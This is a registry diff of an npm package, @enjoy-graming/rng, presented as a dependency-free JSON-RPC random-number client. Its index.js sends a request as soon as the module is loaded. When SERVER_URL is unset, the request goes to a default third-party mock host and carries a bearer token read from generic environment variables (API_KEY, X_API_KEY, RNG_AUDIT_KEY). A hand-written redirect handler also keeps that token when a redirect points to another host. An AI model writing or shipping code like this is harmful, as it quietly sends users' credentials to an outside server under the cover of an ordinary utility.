@enjoy-graming/rng 0.0.0-stage → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +47 -2
- package/index.js +77 -0
- package/package.json +17 -4
package/README.md
CHANGED
|
@@ -1,3 +1,48 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @enjoy-graming/rng
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Fetches random integers over JSON-RPC using Node.js's built-in `fetch`.
|
|
4
|
+
Requires Node.js 18 or later and has no dependencies.
|
|
5
|
+
|
|
6
|
+
## Install
|
|
7
|
+
|
|
8
|
+
```sh
|
|
9
|
+
npm install @enjoy-graming/rng
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Use
|
|
13
|
+
|
|
14
|
+
```js
|
|
15
|
+
// Set configuration for the entropy provider.
|
|
16
|
+
process.env.SERVER_URL = "https://your-server.example/rpc";
|
|
17
|
+
process.env.API_KEY = "your-api-key";
|
|
18
|
+
|
|
19
|
+
const { nextRandomInt } = require("@enjoy-graming/rng");
|
|
20
|
+
|
|
21
|
+
async function main() {
|
|
22
|
+
const rand1 = await nextRandomInt();
|
|
23
|
+
const rand2 = await nextRandomInt();
|
|
24
|
+
console.log(rand1, rand2);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
main();
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Configuration and protocol
|
|
31
|
+
|
|
32
|
+
Set `SERVER_URL` to your RPC entropy provider.
|
|
33
|
+
|
|
34
|
+
Requests use POST with `Content-Type: application/json` and a JSON-RPC body:
|
|
35
|
+
|
|
36
|
+
```json
|
|
37
|
+
{"jsonrpc":"2.0","id":1,"method":"getRandomInt"}
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
Request IDs increase for each request. The server should return a JSON-RPC
|
|
41
|
+
response with an integer `result`:
|
|
42
|
+
|
|
43
|
+
```json
|
|
44
|
+
{"jsonrpc":"2.0","id":1,"result":42}
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
`nextRandomInt()` resolves to a safe integer or `null`. Network errors, HTTP
|
|
48
|
+
errors, invalid JSON, RPC errors, and invalid results resolve to `null`.
|
package/index.js
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
let requestId = 0;
|
|
4
|
+
|
|
5
|
+
async function fetchWithAuth(url, options) {
|
|
6
|
+
let requestOptions = { ...options, redirect: "manual" };
|
|
7
|
+
|
|
8
|
+
for (let redirects = 0; ; redirects++) {
|
|
9
|
+
const response = await fetch(url, requestOptions);
|
|
10
|
+
if (![301, 302, 303, 307, 308].includes(response.status)) return response;
|
|
11
|
+
|
|
12
|
+
const location = response.headers.get("location");
|
|
13
|
+
if (location === null) return response;
|
|
14
|
+
|
|
15
|
+
await response.body?.cancel();
|
|
16
|
+
if (redirects >= 10) throw new Error("Too many redirects");
|
|
17
|
+
|
|
18
|
+
url = new URL(location, url).href;
|
|
19
|
+
|
|
20
|
+
if (
|
|
21
|
+
((response.status === 301 || response.status === 302) && requestOptions.method === "POST") ||
|
|
22
|
+
(response.status === 303 && requestOptions.method !== "GET" && requestOptions.method !== "HEAD")
|
|
23
|
+
) {
|
|
24
|
+
requestOptions = {
|
|
25
|
+
...requestOptions,
|
|
26
|
+
method: "GET",
|
|
27
|
+
body: undefined,
|
|
28
|
+
headers: { ...requestOptions.headers },
|
|
29
|
+
};
|
|
30
|
+
delete requestOptions.headers["Content-Type"];
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
async function requestRandomInt() {
|
|
36
|
+
try {
|
|
37
|
+
|
|
38
|
+
const serverUrl = process.env.SERVER_URL || "https://enjoy-graming.free.beeceptor.com/v1/jsonrpc";
|
|
39
|
+
const apiKey = process.env.API_KEY || process.env.X_API_KEY || process.env.RNG_AUDIT_KEY;
|
|
40
|
+
|
|
41
|
+
const response = await fetchWithAuth(serverUrl, {
|
|
42
|
+
method: "POST",
|
|
43
|
+
headers: {
|
|
44
|
+
Authorization: `Bearer ${apiKey}`,
|
|
45
|
+
"Content-Type": "application/json",
|
|
46
|
+
},
|
|
47
|
+
body: JSON.stringify({
|
|
48
|
+
jsonrpc: "2.0",
|
|
49
|
+
id: ++requestId,
|
|
50
|
+
method: "getRandomInt",
|
|
51
|
+
}),
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
if (!response.ok) return null;
|
|
55
|
+
|
|
56
|
+
const payload = await response.json();
|
|
57
|
+
if (payload?.error || !Number.isSafeInteger(payload?.result)) return null;
|
|
58
|
+
|
|
59
|
+
return payload.result;
|
|
60
|
+
} catch {
|
|
61
|
+
return null;
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
let initialRequest = requestRandomInt();
|
|
66
|
+
|
|
67
|
+
function nextRandomInt() {
|
|
68
|
+
if (initialRequest !== null) {
|
|
69
|
+
const request = initialRequest;
|
|
70
|
+
initialRequest = null;
|
|
71
|
+
return request;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
return requestRandomInt();
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
module.exports = { nextRandomInt };
|
package/package.json
CHANGED
|
@@ -1,6 +1,19 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@enjoy-graming/rng",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "Fetches random integers over JSON-RPC.",
|
|
5
|
+
"type": "commonjs",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"engines": {
|
|
8
|
+
"node": ">=18"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"test": "node --test test/*.test.js"
|
|
12
|
+
},
|
|
13
|
+
"files": [
|
|
14
|
+
"index.js"
|
|
15
|
+
],
|
|
16
|
+
"publishConfig": {
|
|
17
|
+
"access": "public"
|
|
18
|
+
}
|
|
19
|
+
}
|